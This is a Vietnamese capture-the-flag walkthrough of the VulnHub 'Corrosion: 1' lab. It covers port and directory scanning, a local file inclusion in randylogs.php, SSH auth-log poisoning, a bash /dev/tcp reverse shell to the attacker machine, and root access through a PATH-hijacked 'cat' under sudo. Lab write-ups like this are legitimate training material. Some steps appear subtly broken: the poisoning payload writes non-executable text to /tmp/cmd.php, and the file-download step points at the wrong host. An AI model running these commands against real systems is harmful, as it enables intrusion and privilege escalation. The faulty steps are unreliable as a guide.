Thiết Lập Môi Trường Kiểm Thử
Máy tấn công: 192.168.226.129 (Kali Linux)
Máy mục tiêu: 192.168.226.128
Tải máy ảo tại: https://www.vulnhub.com/entry/corrosion-1,730/
Quá Trình Khai Thác
1. Khảo Sát Cổng Mạng
Quét mạng bằng arp-scan xác định địa chỉ máy mục tiêu. Sử dụng nmap kiểm tra cổng:
nmap -sV 192.168.226.128
Kết quả cho thấy cổng 22 (SSH) và 80 (HTTP) đang mở. Truy cập trang web qua trình duyệt xác nhận dịch vụ hoạt động bình thường.
2. Phát Hiện Lỗ Hổng Web
Quét thư mục với gobuster sử dụng bộ từ điển chuyên sâu:
gobuster dir -u http://192.168.226.128 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Phát hiện thư mục /tasks chứa file tasks_todo.txt với nội dung:
Check logs at /var/log/ - Randy
Quét tiếp thư mục /blog-post phát hiện endpoint /blog-post/archives/. Kiểm tra tham số tiềm ẩn bằng ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' \
-fs 0
Xác định tham số logpath gây lỗi include file. Kiểm tra lỗ hổng bằng cách đọc /etc/passwd:
curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/etc/passwd'
3. Khai Thác LFI Qua SSH Log
Dựa trên gợi ý, kiểm tra file log SSH:
curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/var/log/auth.log'
Ghi payload vào log bằng kết nối SSH giả mạo:
ssh "'\$(echo 'cmd=\$_GET[cmd]' >> /tmp/cmd.php)'"@192.168.226.128
Kích hoạt reverse shell qua tham số cmd:
curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/var/log/auth.log&cmd=bash+-c+"bash+-i+>&+/dev/tcp/192.168.226.129/4444+0>&1"'
Trên máy tấn công, khởi động listener:
nc -nvlp 4444
Kết nối shell thành công sau khi gửi yêu cầu.
4. Đặc Quyền Hóa Hệ Thống
Tìm file SUID:
find / -perm /4000 2>/dev/null | grep -v 'proc\|snap'
Phát hiện thư mục /var/backups chứa user_backup.zip. Tải file qua HTTP server:
python3 -m http.server 8001 &
wget http://192.168.226.128:8001/user_backup.zip
Giải nén bằng mật khẩu !randybaby (tìm thấy qua fcrackzip). File my_password.txt tiết lộ mật khẩu đăng nhập SSH cho user randy.
Kiểm tra đặc quyền sudo:
sudo -l
(ALL) /usr/local/bin/easysysinfo
Phân tích file easysysinfo.c cho thấy chương trình gọi lệnh cat không dùng đường dẫn tuyệt đối. Tạo shell đặc quyền:
echo -e '#!/bin/bash\nbash -p' > cat
chmod +x cat
export PATH=/tmp:$PATH
sudo /usr/local/bin/easysysinfo
Đọc flag từ thư mục root bằng lệnh less /root/flag.txt.